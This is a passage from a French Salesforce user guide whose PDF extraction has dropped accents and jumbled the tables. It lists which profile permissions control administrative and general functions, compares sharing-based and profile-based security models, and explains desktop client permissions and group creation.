Apex - Auteur

Peut modifier et dployer des classes et Administrateur

dclencheurs Apex, configurer la scurit
dans les classes Apex et crer des services
de messagerie

Personnaliser l'application

Modifier les messages et les liens

personnaliss ;
Modifier les valeurs de listes de slection
standard ;
Crer, modifier et supprimer des champs
personnaliss ;
Crer, modifier et supprimer des
prsentations de page (requiert galement
l'autorisation Modifier pour
l'enregistrement, par exemple Modifier
les comptes) ;
Configurer la scurit au niveau du
champ ;
Crer, modifier et supprimer des liens
personnaliss ;
Dfinir des stratgies de mot de passe :
Modifier les paramtres de piste ;
Activer les alertes d'affaires importantes ;
Crer des types d'enregistrement ;
Configurer des rgles Web vers requte
et de rponse par e-mail ;

Aucune

Administrateur

Gestion des utilisateurs

Guide de l'utilisateur | Autorisations utilisateurs sur les profils | 119

Autorisations administratives
Nom de l'autorisation

Fonctions contrles
Configurer des rgles Web vers piste et
de rponse par e-mail ;
Configurer des rgles d'attribution et de
hirarchisation ;
Configurer des heures d'ouverture ;
Configurer la fonction E-mail vers
requte ou E-mail vers requte la
demande ;
Modifier les prsentations de page
Libre-Service et le modle de couleur de
portail (requiert galement l'autorisation
Grer le portail libre-service pour
configurer et grer les paramtres
Libre-Service et supprimer la valeur
Statut de requte clture automatique
de votre organisation) ;
Configurer et activer les solutions
multilingues :
Configurer la vente en quipe ;
Configurer les quipes de comptes ;
Mapper les champs de piste
personnaliss ;
Grer les files d'attente ;
Crer, modifier et supprimer les rgles
de workflow, les tches, les mises jour
de champ, les messages sortants et les
alertes ;
Crer, modifier et supprimer les
commandes custom s-control, les objets
personnaliss et les tches personnalises ;
Renommer les onglets ;
Grer les applications personnalises ;
Crer et modifier les calendriers et
ressources publics ;
Configurer la console ;
Activer, configurer et modifier le portail
client Salesforce.com ;
Configurer et planifier les instantans
analytiques excuter ;

Profils

Gestion des utilisateurs

Guide de l'utilisateur | Autorisations utilisateurs sur les profils | 120

Autorisations administratives
Nom de l'autorisation

Fonctions contrles

Profils

Crer des communauts pour Salesforce

CRM Ideas et des discussions ;
Crer des modles d'e-mails Visualforce
Modifier les modles HTML

Crer, modifier et supprimer les modles Administrateur,

HTML personnaliss et les modles de
Utilisateur marketing
message HTML l'aide d'en-ttes

Modifier les champs en lecture seule

Modifier les champs marqus en lecture Administrateur

seule (via la scurit au niveau du champ
ou la prsentation de page) pour tous les
autres utilisateurs

Grer les Instantans analytiques

Configurer et grer les instantans

Administrateur
analytiques excuter (requiert galement
les autorisations Tableaux de bord de
planification, Excuter les rapports et
Afficher la configuration)

Grer la facturation

Ajouter des licence utilisateurs ;

Administrateur

Modifier les informations sur la

facturation et les cartes de crdit
Grer les vacances pendant les heures
d'ouverture

Crer et modifier les heures d'ouverture ; Administrateur

crer, modifier et supprimer les vacances
(requiert galement l'autorisation
Afficher la configuration )

Grer les centres d'appels

Importer, afficher, modifier et supprimer Administrateur

un centre d'appels (requiert galement
l'autorisation Afficher la configuration)

Grer les catgories

Dfinir et modifier les catgories de

solutions ;

Administrateur

Modifier les paramtres de solution pour

activer la navigation dans les solutions
Cette autorisation s'applique uniquement
aux catgories de solutions, pas aux
catgories de donnes
Grer les types de rapports personnaliss Crer, modifier et supprimer les types de Administrateur
rapports personnaliss (requiert
galement l'autorisation Afficher la
configuration pour afficher les pages de
configuration de l'organisation dans
lesquelles les types de rapports
personnaliss sont grs)
Grer les tableaux de bord

Crer, modifier et supprimer les tableaux Administrateur

de bord (requiert galement l'autorisation
Modifier toutes les donnes pour

Gestion des utilisateurs

Guide de l'utilisateur | Autorisations utilisateurs sur les profils | 121

Autorisations administratives
Nom de l'autorisation

Fonctions contrles

Profils

modifier un tableau de bord cr par un

autre utilisateur)
Grer les catgories de donnes

Crer, modifier et supprimer des

catgories de donnes

Administrateur

Cette autorisation s'applique uniquement

aux catgories de donnes, pas aux
catgories de solutions
Grer les intgrations de donnes

Surveille les tches de l'API en masse

Administrateur

Grer les en-ttes

Crer, modifier et supprimer les en-ttes Administrateur,

des messages HTML
Utilisateur marketing

Grer les configurations mobiles

Modifier la slection de la case

Administrateur
Utilisateur mobile dans les
informations personnelles d'un
utilisateur. L'activation de la case
Utilisateur mobile attribut une
licence Salesforce Mobile l'utilisateur,
qui l'autorise accder aux
fonctionnalits de Salesforce Mobile.

Grer les licences de package

Accorde ou rvoque les licences

Administrateur
utilisateur d'une sous-application installe
dans un package mapp

Grer les partenaires

Crer des comptes partenaires et des

utilisateurs partenaires ;

Administrateur

Dsactive des comptes partenaires et des

utilisateurs partenaires ;
Fusionner des utilisateurs partenaires
(requiert galement l'autorisation
Supprimer dans les contacts)
Grer les documents publics

Crer, mettre jour et supprimer des

dossiers de documents publics

Administrateur,
Utilisateur marketing

Grer les vues de liste publique

Crer, modifier et supprimer des vues de Administrateur

liste publique

Grer les rapports publics

Crer, modifier et supprimer des rapports Administrateur

publics ;
Personnaliser l'onglet Rapports

Gestion des utilisateurs

Guide de l'utilisateur | Autorisations utilisateurs sur les profils | 122

Autorisations administratives
Nom de l'autorisation

Fonctions contrles

Profils

Grer les modles publics

Crer, modifier et supprimer les modles Administrateur,

de message texte et de publipostage ;
Utilisateur marketing
Modifier les dossiers publics des modles
de message et stocker les modles de
message dans des dossiers

Grer Salesforce CRM Content

Crer, modifier et supprimer des espaces Administrateur

de travail ;
Modifier l'appartenance un espace de
travail

Grer la traduction

Ajouter les langues et traducteurs pris en Administrateur

charge ;
Entrer des valeurs traduites pour toutes
les langues prises en charge ;
Traduite les catgories de solutions

Gestion des utilisateurs

Crer, modifier et dsactiver des

utilisateurs ;

Administrateur

Dfinir et attribuer des rles

d'utilisateur ;
Dfinir un modle et des rgles de
partage ;
Afficher l'utilisation du stockage ;
Afficher l'historique des connexions ;
Afficher l'historique de formation ;
Grer et attribuer des profils ;
Attribuer des prsentations de page des
profils ;
Dfinir des restrictions de connexion
Modifier toutes les donnes

Crer, modifier et supprimer toutes les

donnes ;
Importer des comptes et des contacts
pour l'organisation ;
Mettre jour en masse les adresses
(requiert galement les autorisations
Activer le contrat et Activer la
commande pour mettre jour les
adresses de contrats et de commandes) ;
Supprimer en masse les donnes ;

Administrateur

Gestion des utilisateurs

Guide de l'utilisateur | Autorisations utilisateurs sur les profils | 123

Autorisations administratives
Nom de l'autorisation

Fonctions contrles

Profils

Restaurer les donnes des autres

utilisateurs ;
Configurer des rappels de mise jour
d'opportunit ;
Crer et modifier des services et
transfrer des services pour plusieurs
enregistrements
Crer une adresse e-mail l'chelle de
l'organisation
Le mot de passe n'expire jamais

Empcher l'expiration du mot de passe

Aucune

Tableaux de bord de planification

Planifier l'actualisation des tableaux de Administrateur

bord et envoyer aux utilisateurs des
notifications par e-mail qui incluent les
tableaux de bord actualiss au format
HTML

Rapports de planification

Planifier des rapports excuter et

envoyer automatiquement les rsultats
par e-mail au format HTML aux
utilisateurs Salesforce.com

Administrateur

Envoyer des messages sortants

Permet d'envoyer des messages sortants,

par exemple, lorsque vous clturez une
opportunit, pour envoyer un message
API sortant un autre serveur afin de
gnrer une commande. Une fois active,
elle risque d'excuter sans fin une rgle
de workflow envoyant des messages
sortants en boucle. Pour plus
d'informations, reportez-vous
Configuration de la messagerie sortante
dans le guide Force.com Web Services
API Developer's Guide.

Administrateur,
Utilisateur standard,
Responsable solutions,
Utilisateur marketing,
Lecture seule,
Responsable contrats
Utilisateur de la plate-forme standard,
Licence mono-utilisateur de la
plate-forme standard

Gestionnaire de balises

Renommer, supprimer ou restaurer des Administrateur

balises publiques (disponible uniquement
lorsque les balises publiques sont actives)

Transfrer l'enregistrement

Transfrer la responsabilit vers un ou Administrateur

plusieurs comptes, campagnes, requtes,
contacts, contrats, pistes et objets
personnaliss qui appartiennent un
autre utilisateur.
Pour transfrer des enregistrements
appartenant un autre utilisateur, vous
devez galement disposer au moins de
l'autorisation Modifier dans les objets

Gestion des utilisateurs

Guide de l'utilisateur | Autorisations utilisateurs sur les profils | 124

Autorisations administratives
Nom de l'autorisation

Fonctions contrles

Profils

et de l'accs en affichage aux

enregistrements.
Utiliser les assistants de rattribution de Rattribuer en masse des membres
l'quipe
d'quipe de comptes et d'quipe
d'opportunits

Administrateur

Afficher toutes les donnes

Afficher toutes les donnes dont la

responsabilit revient d'autres
utilisateurs

Administrateur

Afficher les catgories de donnes

Afficher la page Configuration

Personnalisation Catgories de
donnes.

Administrateur

Cette autorisation s'applique uniquement

aux catgories de donnes, pas aux
catgories de solutions
Afficher les donnes cryptes

Afficher la valeur de champs crypts en Aucune

texte brut

Afficher la configuration

Afficher les dtails de configuration de

l'organisation dans les pages de
configuration ;
Excuter les rapports de l'utilisateur ;
Afficher le journal d'audit de
configuration ;

Administrateur,
Utilisateur standard,
Responsable solutions,
Utilisateur marketing,
Lecture seule,

Contrler l'accessibilit des champs pour Responsable contrats

les utilisateurs
Exportation hebdomadaire de donnes

Excuter le service d'exportation

hebdomadaire de donnes

Administrateur

Autorisations gnrales
Le tableau suivant prsente les autorisations gnrales associes chaque profil standard.
Autorisations utilisateur gnrales
Nom de l'autorisation

Fonctions contrles

Profils

Activer les contrats

Changer le statut du contrat en Activer ; Administrateur,

Crer, modifier et supprimer des contrats Responsable contrats

Approuver les contrats

Appliquer un statut approuv un

contrat

Administrateur,
Responsable contrats

Gestion des utilisateurs

Guide de l'utilisateur | Autorisations utilisateurs sur les profils | 125

Autorisations utilisateur gnrales

Nom de l'autorisation

Fonctions contrles

Profils

Convertir les pistes

Convertit les pistes en comptes, contrats Administrateur,

et opportunits
Utilisateur standard,
Responsable solutions,
Utilisateur marketing,
Responsable contrats

Crer et personnaliser les rapports

Afficher l'onglet Rapports ;

Administrateur,

Excuter, crer, modifier, enregistrer et

supprimer des rapports ;

Utilisateur standard,

Afficher des tableaux de bord bass sur

des rapports

Responsable solutions,
Utilisateur marketing,
Lecture seule,
Responsable contrats

Crer des packages AppExchange

Crer des packages AppExchange

Administrateur

Crer des espaces de travail

Crer des espaces de travail Salesforce

CRM Content

Administrateur

Supprimer les contrats activs

Supprimer des contrats, quel que soit leur Administrateur

statut ;
Activer, crer et modifier des contrats

Livrer les fichiers et contenus personnels Permet des utilisateurs non-Content

tlchargs
de crer des livraisons de contenu et aux
utilisateurs Salesforce CRM Content de
crer des livraisons de contenu l'aide de
documents de leurs espaces de travail
personnels. Notez que cette autorisation
n'est pas ncessaire aux utilisateurs
Salesforce CRM Content pour crer des
livraisons de contenu dans des espaces de
travail partags.

Administrateur,

Tlcharger des packages AppExchange Installer ou dsinstaller des packages

AppExchange depuis AppExchange

Administrateur

Utilisateur standard
Responsable solutions
Utilisateur marketing
Lecture seule
Responsable contrats

Modifier les commentaires de requte

Permet aux utilisateurs de modifier et de Aucune

supprimer les commentaires qu'ils ont
ajouts aux requtes (requiert galement
l'autorisation Modifier pour les
requtes)

Modifier les vnements

Crer, modifier et supprimer des

vnements

Administrateur,
Utilisateur standard,
Responsable solutions,
Utilisateur marketing,

Gestion des utilisateurs

Guide de l'utilisateur | Autorisations utilisateurs sur les profils | 126

Autorisations utilisateur gnrales

Nom de l'autorisation

Fonctions contrles

Profils
Responsable contrats

Modifier les prvisions

Crer, modifier et supprimer des

prvisions

Administrateur,

Permet aux utilisateurs de modifier les

prix de vente de produits

Administrateur,

Utilisateur standard,
Cette autorisation n'est pas disponible
Responsable solutions,
avec les prvisions personnalisables.
Lorsque vous passez en prvisions
Utilisateur marketing,
personnalisables, les profils personnaliss
Responsable contrats
qui disposent de l'autorisation Modifier
les prvisions obtiennent les
autorisations Modifier les quotas
personnels et Ignorer les prvisions.
Modifier les prix de vente de produits
d'opportunit

Utilisateur standard,
Responsable solutions,
Utilisateur marketing,
Responsable contrats

Modifier les quotas personnels

Modifier votre quota individuel

(disponible uniquement pour les
prvisions personnalisables)

Administrateur,
Utilisateur standard,
Responsable solutions,
Utilisateur marketing,
Responsable contrats

Modifier les utilisateurs libre-service

Pour le portail libre-service : activer et

dsactiver les contacts ;

Administrateur,

Utilisateur standard,
Pour le portail client Salesforce.com :
Responsable solutions,
activer, invalider et dsactiver les
contacts ; invalider les comptes ;
Utilisateur marketing,
fusionner les utilisateurs du portail client
Responsable contrats
(requiert galement Supprimer dans les
contacts)
Modifier les tches

Crer, modifier et supprimer des tches Administrateur,

Utilisateur standard,
Responsable solutions,
Utilisateur marketing,
Responsable contrats

Exporter les rapports

Utiliser Exporter les dtails et Vue

imprimable pour exporter les rapports

Administrateur,
Utilisateur standard,
Responsable solutions,

Gestion des utilisateurs

Guide de l'utilisateur | Autorisations utilisateurs sur les profils | 127

Autorisations utilisateur gnrales

Nom de l'autorisation

Fonctions contrles

Profils
Utilisateur marketing,
Responsable contrats

Importer les pistes

Importer les contacts personnels

Importer des pistes et mettre jour

l'historique des campagnes l'aide des
assistants d'importation

Administrateur,

Importer des comptes et contacts

personnels

Administrateur,

Utilisateur marketing

Utilisateur standard,
Responsable solutions,
Utilisateur marketing,
Responsable contrats

Importer les solutions

Importer des solutions pour l'organisation Administrateur,

Responsable solutions

Grer les requtes

Modifier les paramtres de support

Administrateur

Clturer plusieurs requtes

Grer les autorisations de contenu

Crer, modifier et supprimer des

autorisations d'espace de travail dans
Salesforce CRM Content

Administrateur

Grer les proprits du contenu

Crer, modifier et supprimer des champs Administrateur

personnaliss dans Salesforce CRM
Content

Grer les types de contenus

Crer, modifier et supprimer des types

de contenus dans Salesforce CRM
Content

Administrateur

Grer les pistes

Modifier le Statut de piste multiples

dans une vue de liste

Administrateur

Grer les solutions publies

Crer, modifier et supprimer des

solutions qui sont accessibles au public
dans votre portail libre-service ou site
Web ;

Administrateur,
Responsable solutions

Classer des solutions par catgorie

Grer le portail libre-service

Configurer et grer les paramtres de

Administrateur
Libre-service (requiert galement
l'autorisation Personnaliser l'application
pour modifier les prsentations de page
Libre-service et supprimer la valeur
Statut de requte clture automatique
de votre organisation) ;
Excuter des rapports libre-service

Gestion des utilisateurs

Guide de l'utilisateur | Autorisations utilisateurs sur les profils | 128

Autorisations utilisateur gnrales

Nom de l'autorisation

Fonctions contrles

Profils

Grer les territoires

Crer et modifier des territoires ;

Administrateur

Ajouter et supprimer des utilisateurs de

territoires ;
Crer et modifier des rgles d'attribution
de compte ;
Attribuer manuellement des comptes
des territoires ;
Configurer des paramtres de gestion de
territoires l'chelle de l'organisation
Envoyer en masse des e-mails

Envoyer des e-mails en volume des

contacts et des pistes

Administrateur,
Utilisateur standard,
Responsable solutions,
Utilisateur marketing,
Responsable contrats

Modifier en masse dans des listes

Autoriser les utilisateurs modifier

Administrateur,
simultanment un ou plusieurs
Utilisateur standard,
enregistrements dans une liste l'aide de
la modification en ligne
Responsable solutions,
Utilisateur marketing,
Responsable contrats,
Utilisateur de la plate-forme standard,
Licence mono-utilisateur de la
plate-forme standard

Ignorer les prvisions

Ignorer vos propres prvisions ainsi que Administrateur,

celles des utilisateurs que vous supervisez
Utilisateur standard,
directement dans la hirarchie des rles
(disponible uniquement pour les
Responsable solutions,
prvision personnalisables)
Utilisateur marketing,
Responsable contrats

Affichage des produits dans Offline

Spcifier si les produits et catalogues de Administrateur,

prix sont disponibles dans Connect
Utilisateur standard,
Offline
Responsable solutions,
Utilisateur marketing,
Lecture seule,
Responsable contrats

Gestion des utilisateurs

Guide de l'utilisateur | Autorisations utilisateurs sur les profils | 129

Autorisations utilisateur gnrales

Nom de l'autorisation

Fonctions contrles

Profils

Excuter les rapports

Afficher l'onglet Rapports ;

Administrateur,

Excuter des rapports ;

Utilisateur standard,

Afficher des tableaux de bord bass sur

des rapports

Responsable solutions,
Utilisateur marketing,
Lecture seule,
Responsable contrats

Envoyer un e-mail

Envoyer un e-mail un contact ou une Administrateur,

piste unique ;
Utilisateur standard,
Envoyer des e-mails de mise jour Rester
Responsable solutions,
en contact
Utilisateur marketing,
Responsable contrats

Envoyer des requtes Rester en contact Envoyer des requtes par e-mail Rester Administrateur,
en contact
Utilisateur standard,
Responsable solutions,
Utilisateur marketing,
Responsable contrats
Afficher le menu latral personnalis sur Si des prsentations de page d'accueil
toutes les pages
personnalises comprennent des
composants dans le menu latral, cette
autorisation affiche votre menu latral
personnalis sur toutes les pages dans
Salesforce.com. Si le paramtre
d'interface utilisateur Afficher les

Aucune

composants personnaliss du
menu latral sur toutes les
pages est slectionn, l'autorisation

Afficher le menu latral personnalis sur

toutes les pages n'est pas disponible.
Transfrer des requtes

Transfrer une ou plusieurs requtes

Administrateur
appartenant un autre utilisateur, si vous
disposez au moins de l'autorisation
Modifier dans les objets et de l'accs en
affichage aux enregistrements

Transfrer les pistes

Transfrer une ou plusieurs pistes

Administrateur
appartenant un autre utilisateur, si vous
disposez au moins de l'autorisation
Modifier dans les objets et de l'accs en
affichage aux enregistrements

Gestion des utilisateurs

Guide de l'utilisateur | Autorisations utilisateurs sur les profils | 130

Autorisations utilisateur gnrales

Nom de l'autorisation

Fonctions contrles

Profils

Tlcharger des packages AppExchange Tlcharger des packages AppExchange Administrateur

vers AppExchange ;
Crer des solutions l'essai
Utilise la connexion unique

L'authentification par nom d'utilisateur Aucune

et mot de passe est dlgue une base
de donnes d'entreprise, telle que Active
Directory ou LDAP, la place de la
base de donnes utilisateur
Salesforce.com. Pour plus d'informations
sur la connexion unique, reportez-vous
propos de la connexion unique la
page 188.

Afficher toutes les prvisions

Afficher les prvisions de tout utilisateur, Administrateur

quelle que soit la hirarchie des rles de
prvision.
Cette autorisation est disponible
uniquement avec les prvisions
personnalisables. Lorsque vous passez en
prvisions personnalisables, les profils
personnaliss qui disposent de
l'autorisation Afficher toutes les
donnes obtiennent l'autorisation
Afficher toutes les prvisions.

Autorisations d'objet standard et personnaliss

Pour chaque type de donnes, vous pouvez spcifier les autorisations utilisateur suivantes. Ces autorisations respectent le
modle de partage ou ignorent le partage :
Autorisations au niveau de l'objet qui respectent le partage

Lire : les utilisateurs peuvent uniquement afficher les enregistrements de ce type

Crer : les utilisateurs peuvent lire et crer des enregistrements
Modifier : les utilisateurs peuvent lire et mettre jour les enregistrements
Supprimer : les utilisateurs peuvent lire, modifier et supprimer des enregistrements
Remarque: Par dfaut, la plupart des profils standard disposent des autorisations Crer, Lire, Modifier et
Supprimer sur chaque objet personnalis. Cependant, dans le profil standard Lecture seule, Lire est l'unique
autorisation active sur chaque objet personnalis.

Autorisations au niveau de l'objet qui ignorent le partage pour l'administration dlgue des donnes

Afficher tout : les utilisateurs peuvent afficher tous les enregistrements associs cet objet, quels que soient les
paramtres de partage
Modifier tout : les utilisateurs peuvent lire, modifier, supprimer, transfrer et approuver tous les enregistrements
associs cet objet, quels que soient les paramtres de partage

Gestion des utilisateurs

Guide de l'utilisateur | Autorisations utilisateurs sur les profils | 131

L'autorisation Modifier tout sur des documents permet d'accder tous les dossiers partags et publics, mais ne permet
pas de modifier les proprits des dossiers ou de crer des dossiers. Pour modifier les proprits des dossiers et crer des
dossiers, les utilisateurs doivent disposer de l'autorisation Grer les documents publics.
Les autorisations Afficher tout et Modifier tout ne sont pas disponibles pour les ides, les catalogues de prix et les
produits.
Les autorisations Afficher tout et Modifier tout ignorent les rgles et les paramtres de partage, ce qui permet aux
administrateurs d'accorder rapidement l'accs aux enregistrements associs un objet donn au sein de l'organisation. Les
autorisations Afficher tout et Modifier tout sont destines aux administrateurs dlgus responsables de la gestion des
enregistrements appartenant un objet donn, tandis que les autorisations Afficher toutes les donnes et Modifier toutes
les donnes sont destines l'administrateur de l'ensemble de l'organisation. Les tches auxquelles ces autorisations peuvent
s'appliquer comprennent le nettoyage des donnes, la dduplication, la suppression en masse, le transfert en masse et la gestion
des approbations d'enregistrements. Si l'autorisation administrative Afficher toutes les donnes ou Modifier toutes les
donnes est trop permissive pour un profil donn, pensez utiliser la permission au niveau de l'objet Afficher tout ou
Modifier tout afin de restreindre l'accs aux donnes et gestion un objet spcifique. Pour plus d'informations, reportez-vous
Comparaison des modles de scurit la page 132.
Remarque: Les autorisations Afficher tout et Modifier tout permettent de dlguer uniquement les autorisations
dans les objets. Pour dlguer certaines tches d'administration d'utilisateur et d'objet personnalis, vous pouvez dfinir
des administrateurs dlgus.
Si votre organisation a dploy Salesforce Mobile, vous pouvez modifier les proprits d'objet mobile pour empcher les
utilisateurs mobiles de crer, modifier et supprimer des enregistrements dans l'application mobile, quelles que soient leurs
autorisations d'objet standard dans Salesforce.com.
Autorisations client d'intgration votre matriel de bureau
Connect pour Outlook, Connect Offline, Connect pour Office, et Connect pour Lotus Notes sont des clients de bureau qui
intgrent Salesforce.com votre ordinateur. En tant qu'administrateur, vous pouvez contrler les clients de bureau auxquels
vos utilisateurs ont accs ainsi que la notification automatique des utilisateurs lorsque des mises jour sont disponibles.
Pour plus d'informations, reportez-vous Dfinition d'autorisations utilisateur pour les clients de bureau la page 133.
Autorisations de classe Apex
Dans les organisations qui possdent Unlimited, Enterprise et Developer Edition, les utilisateurs peuvent utiliser des profils
pour contrler les utilisateurs autoriss excuter des mthodes dans une classe Apex donne de niveau suprieur.

Voir aussi :
Gestion des profils
Cration et modification de profils
Profils standard
Affichage des types de licence utilisateur

Gestion des utilisateurs

Guide de l'utilisateur | Autorisations utilisateurs sur les profils | 132

Comparaison des modles de scurit

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

La scurit de l'utilisateur Salesforce est une combinaison d'autorisations de partage et deprofil. Dans certains cas, par exemple
dans l'accs au niveau de l'enregistrement d'un utilisateur, il est dangereux d'utiliser le partage pour fournir un accs des
enregistrements. Dans d'autres cas, par exemple en dlguant des tches d'administration d'enregistrements telles que le
transfert d'enregistrements, le nettoyage des donnes, la duplication d'enregistrements, la suppression en masse d'enregistrements
et la dlgation des processus d'approbation de workflow, il est prfrable d'ignorer la partage et d'utiliser des profils afin de
fournir l'accs des enregistrements.
Dans les autorisations de profil pour les objets standard et personnaliss, les autorisations Lire, Crer, Modifier et
Supprimer respectent les paramtres de partage qui contrlent l'accs aux donnes au niveau de l'enregistrement. Les
autorisations Afficher tout et Modifier tout remplacent les paramtres de partage d'objets spcifiques. De plus, les
autorisations administratives Afficher toutes les donnes et Modifier toutes les donnes remplacement les paramtres de
partage de tous les objets.
Le tableau ci-dessous prsente les diffrences entre les divers modles de scurit.
Autorisations respectant le partage

Autorisations ignorant le partage

Audience cible

Utilisateurs finaux

Administrateurs dlgus des donnes

Emplacement de gestion

Autorisations au niveau de l'objet Lire, Afficher tout et Modifier tout

Crer, Modifier et Supprimer dans
les profils ;
Paramtre de partage

Niveaux d'accs aux enregistrements

Priv, Lecture seule, Lecture/Ecriture,

Lecture/Ecriture/Transfert/Accs
intgral

Afficher tout et Modifier tout

Capacit de transfert

Respecte les paramtres de partage qui

varient selon l'objet

Disponible dans tous les objets avec

Modifier tout

Capacit d'approbation des

Aucune
enregistrements, ou de modification et
de dverrouillage des enregistrements,
dans le processus d'approbation

Disponible dans tous les objets avec

Modifier tout

Capacit de cration de rapports sur

tous les enregistrements

Disponible avec une rgle de partage qui Disponible dans tous les objets avec
stipule : les enregistrements dont le
Afficher tout
groupe public Organisation entire est
responsable sont partags par un groupe
spcifique, avec un accs en lecture seule

Prise en charge d'objet

Disponible sur tous les objets,

l'exception des produits, documents,
solutions, ides, notes et pices jointes

Disponible sur la plupart des objets dans

les sections Autorisations d'objet
standard et Autorisations d'objet
personnaliss des profils

Gestion des utilisateurs

Guide de l'utilisateur | Autorisations utilisateurs sur les profils | 133

Autorisations respectant le partage

Autorisations ignorant le partage

Remarque: Les autorisations
Afficher tout et Modifier tout
ne sont pas disponibles pour les
ides, les catalogues de prix et les
produits.

Niveaux d'accs au groupe dtermins Rles, Rles et subordonns, Rles et

par
subordonns internes, Files d'attente,
quipes et Groupes publics

Profil

Accs aux enregistrements privs

Disponible sur les contacts privs, les

opportunits ainsi que sur les notes et
pices jointes avec les autorisations
Afficher tout et Modifier tout

Non disponible

Capacit de partager manuellement des Disponible pour le responsable de

enregistrements
l'enregistrement et tout utilisateur
suprieur au responsable dans la
hirarchie des rles

Disponible dans tous les objets avec

Modifier tout

Capacit de grer tous les commentaires Non disponible

de requte

Disponible avec Modifier tout dans les

requtes

Voir aussi :
Autorisations utilisateurs sur les profils
Gestion des profils

Dfinition des autorisations utilisateur pour les clients de bureau

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour dfinir les autorisations utilisateur pour les clients de
bureau :

Grer les utilisateurs

Connect pour Outlook, Connect Offline, Connect pour Office, et Connect pour Lotus Notes sont des clients de bureau qui
intgrent Salesforce.com votre ordinateur. En tant qu'administrateur, vous pouvez contrler les clients de bureau auxquels
vos utilisateurs ont accs ainsi que la notification automatique des utilisateurs lorsque des mises jour sont disponibles.
Dans Enterprise Edition, Unlimited Edition et Developer Edition, utilisez la procdure suivante pour dfinir les autorisations
pour clients de bureau de vos utilisateurs Connect Offline est le seul client disponible avec Developer Edition. Dans Personal

Gestion des utilisateurs

Guide de l'utilisateur | Autorisations utilisateurs sur les profils | 134

Edition, Group Edition et Professional Edition, tous les utilisateurs ont le systme par dfaut Activ, mises jour sans alertes
pour l'ensemble des clients.
1.
2.
3.
4.

Dans Salesforce.com, accdez Configuration Grer les utilisateurs Profils.

Cliquez sur Modifier en regard du nom d'un profil.
Allez dans la section Client d'intgration votre matriel de bureau en bas de la page.
Pour chaque client de bureau, slectionnez l'une des options suivantes :
Option

Signification

Dsactiv (accs refus)

La page de tlchargement du client correspondante dans

Configuration Intgration du bureau est masque. En
outre, les utilisateurs ne peuvent pas se connecter depuis le
client.

Active, aucune mise jour

La page de tlchargement du client correspondante dans

Configuration Intgration du bureau est masque. Les
utilisateurs peuvent se connecter depuis le client, mais ne
sont pas autoriss le mettre niveau partir de leur version
actuelle.

Activ, mises jour sans alertes

Les utilisateurs peuvent tlcharger, se connecter depuis le

client et le mettre niveau, mais ils ne voient pas les alertes
lorsqu'une nouvelle version est disponible.

Activ, mises jour avec alertes

Les utilisateurs peuvent tlcharger, se connecter depuis le

client et le mettre niveau. Ils voient les alertes de mise
jour, qu'ils peuvent suivre ou ignorer.

Activ, mise jour obligatoire avec alertes

Les utilisateurs peuvent tlcharger, se connecter depuis le

client et le mettre niveau. Lorsqu'une nouvelle version est
disponible, ils voient une alerte de mise jour. Il ne peuvent
pas se connecter depuis le client tant qu'ils ne l'ont pas mis
niveau.

Remarque: Si les utilisateurs de votre organisation possdent une version de Connect pour Outlook antrieure
2.0 (telle que la version 115) et que leur paramtre de profil est Activ (accs refus) ou Activ, mise jour
obligatoire avec alertes , l'erreur Requte API Salesforce.com non valide peut se produire lorsqu'ils
tentent de se connecter Connect pour Outlook. Les utilisateurs qui possdent une version 2.0 ou ultrieure de
Connect pour Outlook voient un message descriptif appropri.
5. Cliquez sur Enregistrer.
Si un utilisateur est autoris afficher des alertes, condition qu'il ou elle se soit connect Salesforce.com depuis le client
par le pass, un bannire d'alerte s'affiche automatiquement dans l'onglet Accueil lorsqu'une nouvelle version est disponible.
Cliquer sur la bannire permet d'ouvrir la page Rechercher les mises jour o les utilisateurs peuvent tlcharger et excuter

Gestion des utilisateurs

Guide de l'utilisateur | Gestion des groupes | 135

des fichiers d'installation. Notez que la page Rechercher les mises jour est toujours disponible dans le menu de configuration
Intgration du bureau, qu'une alerte ait t affiche ou non.

Voir aussi :
Prsentation de Force.com Connect pour Microsoft Outlook.
Prsentation de Force.com Connect Offline
Prsentation de Force.com Connect pour Microsoft Office.
Prsentation de Force.com Connect pour Lotus Notes

Gestion des groupes

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Les groupes sont des ensembles d'utilisateurs. Ils peuvent contenir des utilisateurs individuels, d'autres groupes, les utilisateurs
d'un rle ou territoire particulier, et/ou les utilisateurs d'un rle ou territoire particulier ainsi que tous les utilisateurs situs
au-dessous de ce rle ou territoire dans la hirarchie.
Il existe deux types de groupe :

Groupes publics : seuls les administrateurs peuvent crer des groupes publics. Ils peuvent tre utiliss par quiconque dans
l'entreprise.
Groupes personnels : chaque utilisateur peut crer des groupes pour son utilisation personnelle.

Vous pouvez utiliser les groupes pour :

configurer l'accs partag par dfaut grce une rgle de partage ;

partager vos comptes avec d'autres utilisateurs ;
partager vos opportunits avec d'autres utilisateurs (Enterprise Edition, Unlimited Edition et Developer Edition seulement) ;
indiquer que vous souhaitez synchroniser les contacts appartenant d'autres utilisateurs.
Pour ajouter plusieurs utilisateurs un espace de travail Salesforce CRM Content

Consultez les rubriques suivantes pour plus d'informations :

Cration et modification de groupes la page 136

Affichage de tous les utilisateurs dans un groupe la page 137

Voir aussi :
Gestion des paramtres de partage
Dfinition du modle de partage par dfaut l'chelle de votre entreprise
Dfinition des rgles de partage
Configuration de votre profil de synchronisation

Gestion des utilisateurs

Guide de l'utilisateur | Gestion des groupes | 136

Cration et modification de groupes

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer ou modifier un groupe public :

Grer les utilisateurs

Pour crer un nouveau groupe :

1. Pour crer un groupe personnel, cliquez sur Configuration Mes informations personnelles Mes groupes.
Pour crer un groupe public, cliquez sur Configuration Gestion des utilisateurs Groupes publics.
Remarque: Seuls les administrateurs peuvent crer des groupes publics, mais tout les utilisateurs peuvent un groupe
personnel.
2.
3.
4.
5.
6.
7.

Cliquez sur Nouveau dans la liste associe aux groupes.

Saisissez le nom du groupe.
Dans la liste droulante Recherche, slectionnez le type de membre ajouter :
Si vous ne trouvez pas le membre ajouter, saisissez des mots-cls dans la zone de recherche, puis cliquez sur Rechercher.
Slectionnez les membres souhaits dans la zone Membres disponibles, puis cliquez sur Ajouter pour les ajouter au groupe.
Cliquez sur Enregistrer.

Pour modifier un groupe, cliquez sur Modifier ct du nom du groupe dans la liste associe aux groupes. De mme, cliquez
sur Suppr ct du groupe supprimer.

Voir aussi :
